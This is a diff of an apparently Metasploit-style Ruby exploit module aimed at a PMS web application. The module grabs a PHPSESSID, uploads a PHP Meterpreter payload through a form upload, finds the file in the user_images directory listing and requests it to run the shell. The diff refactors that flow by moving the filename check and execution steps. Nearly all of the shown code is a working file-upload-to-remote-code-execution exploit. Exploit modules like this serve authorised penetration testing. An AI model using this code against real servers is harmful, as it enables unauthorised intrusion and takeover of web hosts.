@@ -63,15 +63,15 @@ def check
6363 'method' => 'GET'
6464 } )
6565
66- unless res_session && res_session . code == 302 && res_session . get_cookies
66+ unless res_session && res_session . code == 302 && res_session . respond_to? ( : get_cookies)
6767 print_error ( 'Server connect error. Couldn\'t connect or get necessary information - try to check your options.' )
68- CheckCode ::Unknown
68+ return CheckCode ::Unknown
6969 end
7070
7171 phpsessid = res_session . get_cookies . match ( /PHPSESSID=([^;]+)/ )
7272 if phpsessid . nil?
7373 print_error ( 'Failed to retrieve PHPSESSID. Target may not be vulnerable.' )
74- CheckCode ::Unknown
74+ return CheckCode ::Unknown
7575 else
7676 phpsessid = phpsessid [ 1 ]
7777 vprint_good ( "Obtained PHPSESSID: #{ phpsessid } " )
@@ -193,7 +193,8 @@ def upload_shell
193193 random_user = Rex ::Text . rand_text_alphanumeric ( 8 )
194194 random_password = Rex ::Text . rand_text_alphanumeric ( 12 )
195195 payload_filename = "#{ Rex ::Text . rand_text_alphanumeric ( 8 ) } .php"
196- print_status ( "Uploading PHP Meterpreter payload as #{ payload_filename } ..." )
196+
197+ vprint_status ( "Uploading PHP Meterpreter payload as #{ payload_filename } ..." )
197198
198199 post_data = Rex ::MIME ::Message . new
199200 post_data . add_part ( random_user , nil , nil , 'form-data; name="display_name"' )
@@ -211,39 +212,37 @@ def upload_shell
211212
212213 fail_with ( Failure ::UnexpectedReply , 'Failed to upload PHP payload' ) unless res && res . code == 302
213214 print_good ( 'Payload uploaded successfully!' )
214- register_file_for_cleanup ( actual_detection_filename , payload_filename ) if datastore [ 'DELETE_FILES' ]
215- payload_filename
216- end
217215
218- def fetch_uploaded_filename
219- vprint_status ( 'Retrieving directory listing from /pms/user_images ...' )
220- sleep datastore [ 'LISTING_DELAY' ] # Allow time for the file to be saved on the server
216+ # Verify the presence of the uploaded file in the directory listing
217+ vprint_status ( 'Retrieving directory listing to confirm the uploaded payload ...' )
218+ sleep datastore [ 'LISTING_DELAY' ] # Allow time for the file to appear on the server
221219
222- res = send_request_cgi ( {
220+ res_listing = send_request_cgi ( {
223221 'uri' => normalize_uri ( target_uri . path , 'user_images/' ) ,
224222 'method' => 'GET'
225223 } )
226224
227- fail_with ( Failure ::UnexpectedReply , 'Failed to retrieve directory listing' ) unless res && res . code == 200
225+ fail_with ( Failure ::UnexpectedReply , 'Failed to retrieve directory listing' ) unless res_listing && res_listing . code == 200
228226
229227 # Search for the uploaded filename
230- match = res . body &.match ( /href="(\d +#{ Regexp . escape ( @uploaded_filename ) } )"/ )
228+ match = res_listing . body &.match ( /href="(\d +#{ Regexp . escape ( payload_filename ) } )"/ )
231229 fail_with ( Failure ::NotFound , 'Uploaded file not found in directory listing' ) if match . nil?
232- match [ 1 ]
233- end
234230
235- def execute_shell ( uploaded_file )
236- shell_url = normalize_uri ( target_uri . path , 'user_images' , uploaded_file )
237- print_status ( "Executing the uploaded shell at #{ shell_url } ..." )
238- send_request_raw ( {
239- 'uri' => shell_url ,
240- 'method' => 'GET'
241- } )
231+ actual_filename = match [ 1 ]
232+ vprint_good ( "Verified payload presence: #{ actual_filename } " )
233+ register_file_for_cleanup ( actual_detection_filename , actual_filename ) if datastore [ 'DELETE_FILES' ]
234+ actual_filename
242235 end
243236
244237 def exploit
245- @uploaded_filename = upload_shell
246- final_filename = fetch_uploaded_filename
247- execute_shell ( final_filename )
238+ # Upload the shell and retrieve its filename
239+ uploaded_filename = upload_shell
240+
241+ # Construct the URL for the uploaded shell
242+ shell_url = normalize_uri ( target_uri . path , 'user_images' , uploaded_filename )
243+ print_status ( "Executing the uploaded shell at #{ shell_url } ..." )
244+
245+ # Execute the uploaded shell
246+ send_request_raw ( { 'uri' => shell_url , 'method' => 'GET' } )
248247 end
249248end
0 commit comments